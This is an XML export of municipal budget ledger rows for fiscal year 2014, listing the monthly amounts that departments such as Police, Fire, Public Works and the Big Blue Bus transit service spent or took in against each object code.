<row _id="9562"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1661.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1661.0</total></row>
<row _id="9563"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>55450.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>55450.0</total></row>
<row _id="9564"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544030.0</object><object_description>BADGE / AWARD / NAME PLA</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15683.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15683.0</total></row>
<row _id="9565"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1634.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1634.0</total></row>
<row _id="9566"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-1337.0</july><august>0</august><september>0</september><october>0</october><november>1950.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>613.0</total></row>
<row _id="9567"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>172847.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>172847.0</total></row>
<row _id="9568"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="9569"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10698.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10698.0</total></row>
<row _id="9570"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522920.0</object><object_description>VEHICLES - REPAIRS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="9571"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>566140.0</object><object_description>INVESTIGATION EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10250.0</total></row>
<row _id="9572"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8721848.0</july><august>0</august><september>0</september><october>0</october><november>-19668.0</november><december>153324</december><january>27046.84</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8882550.84</total></row>
<row _id="9573"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>555180.0</object><object_description>PHOTOGRAPHIC EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5638.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5638.0</total></row>
<row _id="9574"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1129.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1129.0</total></row>
<row _id="9575"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533140.0</object><object_description>BOAT MAINTENANCE / OPERATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23470.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23470.0</total></row>
<row _id="9576"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>51.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51.0</total></row>
<row _id="9577"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1807609.0</july><august>0</august><september>0</september><october>0</october><november>331462.0</november><december>75166</december><january>-7870.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2206367.0</total></row>
<row _id="9578"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5384.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>200.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5584.0</total></row>
<row _id="9579"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>982848.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>982848.0</total></row>
<row _id="9580"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11790.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11790.0</total></row>
<row _id="9581"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3032.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3032.0</total></row>
<row _id="9582"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511300.0</object><object_description>HOLIDAY PAY</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>485386.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>485386.0</total></row>
<row _id="9583"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-175000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-175000.0</total></row>
<row _id="9584"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>405080.0</object><object_description>SALE OF MUNICIPAL CODES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-100.0</total></row>
<row _id="9585"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>401340.0</object><object_description>GEN PROM BUS LIC.-DOWNTOWN</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-10150.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10150.0</total></row>
<row _id="9586"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400690.0</object><object_description>PLAN CHECK FEES-ENGINEERING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-383728.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-383728.0</total></row>
<row _id="9587"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1947.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1947.0</total></row>
<row _id="9588"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>230.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>230.0</total></row>
<row _id="9589"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15358.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15358.0</total></row>
<row _id="9590"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="9591"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>588040.0</object><object_description>COMMUNICATIONS SYSTEMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="9592"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>248400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>248400.0</total></row>
<row _id="9593"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555120.0</object><object_description>LA SEWAGE DISPOSAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6699060.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6699060.0</total></row>
<row _id="9594"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23600.0</total></row>
<row _id="9595"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1188.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1188.0</total></row>
<row _id="9596"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>407050.0</object><object_description>GEN PROM BUS LIC - PICO</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-4300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4300.0</total></row>
<row _id="9597"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>401270.0</object><object_description>LEASED BEACH CONCESSIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-540000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-540000.0</total></row>
<row _id="9598"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>1210</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15610.0</total></row>
<row _id="9599"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>407150.0</object><object_description>SALE OF RECYCLED WATER</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-90000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-90000.0</total></row>
<row _id="9600"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>90</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>90.0</total></row>
<row _id="9601"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>21525.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21525.0</total></row>
<row _id="9602"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511972.0</object><object_description>UNIFORM ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>360</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>360.0</total></row>
<row _id="9603"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="9604"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522151.0</object><object_description>STORMWATER MANAGEMENT-GF</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7053.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7053.0</total></row>
<row _id="9605"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>555180.0</object><object_description>PHOTOGRAPHIC EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>167.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>167.0</total></row>
<row _id="9606"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3793.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3793.0</total></row>
<row _id="9607"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>840</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4440.0</total></row>
<row _id="9608"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>718.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>718.0</total></row>
<row _id="9609"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544030.0</object><object_description>BADGE / AWARD / NAME PLATES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
